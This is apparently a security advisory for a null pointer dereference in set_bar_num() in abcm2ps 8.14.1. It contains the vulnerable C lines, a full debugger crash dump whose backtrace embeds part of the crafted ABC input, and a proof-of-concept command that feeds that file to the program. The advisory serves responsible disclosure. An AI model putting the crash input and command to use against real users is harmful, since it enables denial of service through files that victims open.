Null pointer dereference vulnerability in the function set_bar_num( ) – abcm2ps-8.14.1

December 24, 2018

CVE Number

CWE

CWE-476: NULL Pointer Dereference

Product Details

abcm2ps is a C program which converts music tunes from the ABC music notation to PostScript or SVG.
URL: https://github.com/leesavide/abcm2ps.git

Vulnerable Versions

8.14.1-master

Vulnerability Details

Null Pointer Dereference vulnerability is discovered in the abcm2ps (8.14.1-master). The same can be triggered by sending a crafted abc file to the abcm2ps binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact when a victim opens a specially crafted file.

SYNOPSIS

As per our research,we observe that the vulnerabilty exists in set_bar_num located in parse.c .The function do_tune which makes a tune by triggering the function gen_ly, it gives out the music and lyrics of a tune.The function generate which generates a piece of tune.The set_bar_num sets the bar numbers. When a crafted file is passed to binary abcm2ps at function set_bar_num in line s->prev->next = s; the type of s->prev is a pointer and got a null value in it which triggered a null pointer dereference vulnerability.

Vulnerable code
s->next = s2;
s->prev = s2->prev;
->    s->prev->next = s;
s2->prev = s;
s->ts_next = s2;
Analysis

 

0x00000000004a095d in set_bar_num () at parse.c:921
921                s->prev->next = s;
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$rax   : 0x0               
$rbx   : 0x7fffffffda00      →  0x0000000041b58ab3
$rcx   : 0x0               
$rdx   : 0x62900000bbd0      →  0x000062900000be28  →  0x000062900000c080  →  0x000062900000c2d0  →  0x000062900000c520  →  0x000062900000c770  →  0x000062900000c9c0  →  0x000062900000cc18
$rsp   : 0x7fffffffd870      →  0x0000000000000000
$rbp   : 0x7fffffffd8b0      →  0x00007fffffffd8d0  →  0x00007fffffffd8f0  →  0x00007fffffffd940  →  0x00007fffffffd970  →  0x00007fffffffd990  →  0x00007fffffffda80  →  0x00007fffffffdac0
$rsi   : 0x0               
$rdi   : 0x3               
$rip   : 0x4a095d            →   mov QWORD PTR [rax+0x10], rdx
$r8    : 0x0               
$r9    : 0xc52800003e2       →  0x0000000000000000
$r10   : 0x1               
$r11   : 0x246             
$r12   : 0xffffffffb40       →  0x0000000000000000
$r13   : 0x7fffffffda60      →  0x00007fffffffdb80  →  0x0000000041b58ab3
$r14   : 0x7fffffffda00      →  0x0000000041b58ab3
$r15   : 0x7fffffffdb80      →  0x0000000041b58ab3
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$fs: 0x0000  $ds: 0x0000  $ss: 0x002b  $gs: 0x0000  $es: 0x0000  $cs: 0x0033  
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0x00007fffffffd870│+0x00: 0x0000000000000000     ← $rsp
0x00007fffffffd878│+0x08: 0x0000060000000600  →  0x0000000000000000
0x00007fffffffd880│+0x10: 0x0000000100000001  →  0x0000000000000000
0x00007fffffffd888│+0x18: 0x00000ffffffffb40  →  0x0000000000000000
0x00007fffffffd890│+0x20: 0x000062900000bbd0  →  0x000062900000be28  →  0x000062900000c080  →  0x000062900000c2d0  →  0x000062900000c520  →  0x000062900000c770  →  0x000062900000c9c0
0x00007fffffffd898│+0x28: 0x000062900000b728  →  0x000062900000b978  →  0x000062900000bbd0  →  0x000062900000be28  →  0x000062900000c080  →  0x000062900000c2d0  →  0x000062900000c520
0x00007fffffffd8a0│+0x30: 0x00007fffffffd8b0  →  0x00007fffffffd8d0  →  0x00007fffffffd8f0  →  0x00007fffffffd940  →  0x00007fffffffd970  →  0x00007fffffffd990  →  0x00007fffffffda80
0x00007fffffffd8a8│+0x38: 0x000000000049f3e9  →   nop 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
     0x4a0951  mov    rdi, rdx
     0x4a0954  call   0x402c90 
     0x4a0959  mov    rdx, QWORD PTR [rbp-0x20]
 →   0x4a095d  mov    QWORD PTR [rax+0x10], rdx
     0x4a0961  mov    rax, QWORD PTR [rbp-0x18]
     0x4a0965  mov    rdx, QWORD PTR [rbp-0x20]
     0x4a0969  mov    QWORD PTR [rax+0x18], rdx
     0x4a096d  mov    rax, QWORD PTR [rbp-0x20]
     0x4a0971  mov    rdx, QWORD PTR [rbp-0x18]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:parse.c+921 ]────
    916                 s->prev->next = s->next;
    917                 s->ts_next->ts_prev = s->ts_prev;
    918                 s->ts_prev->ts_next = s->ts_next;
    919                 s->next = s2;
    920                 s->prev = s2->prev;
        // s=0x00007fffffffd890  →  [...]  →  0x000062900000c9c0
 →  921                 s->prev->next = s;
    922                 s2->prev = s;
    923                 s->ts_next = s2;
    924                 s->ts_prev = s2->ts_prev;
    925                 s->ts_prev->ts_next = s;
    926                 s2->ts_prev = s;
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "abcm2ps", stopped, reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x4a095d → Name: set_bar_num()
[#1] 0x4a1346 → Name: generate()
[#2] 0x4a16eb → Name: gen_ly(eob=0x0)
[#3] 0x4b45a0 → Name: do_tune()
[#4] 0x407292 → Name: abc_parse(p=0x625000000100 "", fname=0x606000000a40 "POC", ln=0xe)
[#5] 0x46a4ad → Name: txt_add_eos(fname=0x606000000a40 "POC", linenum=0xe)
[#6] 0x46d6b0 → Name: frontend(s=0x61f0000001f1 "\nX:2\nT:Key signature change\nT:and multi-measure rest\nM:2\nL:1/4\nK:C\nZ4|\"C\"CEGc|[K:A]\"A\"Acea|[K:B]\"B\"Bdfb|[K:A]\"A\"Acea|\n[K:Eb]\"Eb\"EGBe|[K:Cb]\"Cb\"CEGc|[K:C]\"C\"CEGc|\n\nX:3\nT:All clefs with max signatures\nM:C\nL:1/4\nK:C# bass\nC,E,G,C|[K:Cb]C,E,G,C|[K:C# bass3]C,E,G,C|\n[K:Cb]C,E,G,C|[K:C# alto4]G,CEG|[K:Cb]G,CEG|\n[K:C# alto]G,CEG|[K:Cb]G,CEG|[K:C# alto2]CEGc|\n[K:Cb]CEGc|[K:C# alto1]CEGc|[K:Cb]CEGc|\n[K:C# treble]CEGc|[K:Cb]CEGc|[K:C]CEGc|\n\nX:4\nT:Guitar chords - annotations\nM:none\nL:1/4\nK:C\n\"^no time\"\"^signature\"CD\"gchord\"\"^on bar\"|EF\\\n\"^appogiattura\"{B}c \"^acciaccatura\"{/B}c \\\n\"^three;annot;lines\"G \"^and\"\"^four\"\"^annot\"\"^lines!\"c| \\\n\"^Fa#\"^F \"^Sib\"_B \"^Fa=\"=F \\\n\"F#\"^F \"Bb\"_B||\n\nX:5\nT:Standard decorations\nM:none\nL:1/8\nK:C\n~C.D JENF HCRD TEuF vcLB MAPG ScOB|\nw: \\~ . J N H R T u v L M P S O\nw: grace dot slide tenuto fermata roll trill upbow downbow \\\nw: emphasis lmordent umordent segno coda\n\nX:6\nT:All decorations\nM:none\nL:1/8\nK:C\n!0!C!1!D !2!E!3!F !4!G!5!A !+!B!accent!c|\\\nw:~0 ~1 ~2 ~3 ~4 ~5 ~+ accent\n!breath!C!crescendo(!D !crescendo)!E!D.C.!F !diminuendo(!G!diminuendo)!A !f!B!ffff!c|\nw:breath crescendo( crescendo) D.C. diminuendo( diminuendo) ~f ffff\n!fine!C!invertedfermata!D !longphrase!E !mediumphrase!F !mf!G!open!A !p!B!pppp!c|\nw:fine invertedfermata longphrase mediumphrase mf open ~p pppp\n!pralltriller!C!sfz!D !shortphrase!E !snap!F !thumb!G!turn!A!wedge!B!D.S.!c|\nw:pralltriller sfz shortphrase snap thumb turn wedge D.S.\n\nX:7\nT:Non standard decorations\nC:Composer\nO:Origin\nR:Rhythm\nM:none\nL:1/8\nK:C\n!turnx!G!invertedturn!A !invertedturnx!B !arpeggio![EGc]|\\\nw:turnx invertedturn invertedturnx arpeggio\n!trill(!c4-|!trill)!c3|\nw:trill( trill)\n\nX:8\nT:Decorations on two voices\nT:(also in 'd:' lines)\n%%infoline 1\nC:Composer\nO:Origin\nR:Rhythm\nM:C\n%%staves (1 2)\nK:C\nV:1\n  ~c.dJeNf cdef|aabc' gabc'|!coda!cdef gfec||\nd: * * * * HRTu|!mf!       |!sfz!  *** ***!D.S.!\nV:2\n   CDEF    CDEF|ffga   efga|C  D  EF   [EG]FEC||\nd: ~.JN    HRTu|~.JN   HRTu|!5!!4!M*   !5! M\nd:", ' ' , "|", ' ' , "|*  P  !3!  !4!\n\nX:9\nT:Beams\nL:1/16\nM:4/4\nK:C\n(3CDE(3FGA B/c/d/e/d/c/B/A/ (3zDE(3FGz z/c/d/e/d/c/B/z/|(3CDz(3zGA B/c/d/z/z/c/B/A/ G8|\n\nX:10\nT:Voice overlap\nT:invisible and dashed bars\nM:2/4\nL:1/8\n%%staves (1 2)\nK:C\nV:1\nFEDC:GGGG|G2 G2|c4[|]GABc|\nV:2\nGABc:FEDC|GD G>D|cBAG[|]G4|\n\nX:11\nT:Clef transpositions\nM:C\nL:1/4\nK:C\n%%titleleft 1\nT:No transposition\n\"^clef=treble\"\"A,\"A,\"B,\"B,\"C\"C\"D\"D|\\\n[K:alto]\"^alto\"\"A,\"A,\"B,\"B,\"C\"C\"D\"D|\\\n[K:bass]\"^bass\"\"A,\"A,\"B,\"B,\"C\"C\"D\"D|\nT:abc2ps compatible clef transposition\n%%abc2pscompat 1\n[K:treble]\"^treble\"\"A,\"A,\"B,\"B,\"C\"C\"D\"D|\\\n[K:alto]\"^alto\"\"A\"A\"B\"B\"c\"c\"d\"d|\\\n[K:bass]\"^bass\"\"a\"a\"b\"b\"c'\"c'\"d'\"d'|\n%%titleleft 0\n", ftype=0x0, fname=0x606000000a40 "POC", linenum=0xe)
[#7] 0x403a4a → Name: treat_file(fn=0x7fffffffe21e "POC", ext=0x4ec860 "abc")
[#8] 0x403b5e → Name: treat_abc_file(fn=0x7fffffffe21e "POC")
[#9] 0x40647f → Name: main(argc=0x17, argv=0x7fffffffddb8)
gef➤  p s->prev
$1 = (struct SYMBOL *) 0x0
gef➤  p *s->prev
Cannot access memory at address 0x0
Tested environment

64-bit ubuntu 16.04 LTS

Proof of Concept

./abcm2ps r -E -g -x -v -O fff -O = -i -k 1 $POC -s 10 -w 1 -m 100 -d 100 -a 0 -f musicfont.fmt -D Bar/ -p -l -I 500 -x -M -N 3 -1 -G -j 0 -b 1 -f -T all -c -B 10

Timeline

Vendor Disclosure: 2018-12-13
Public Disclosure:

Credit

Discovered by ACE Team – Loginsoft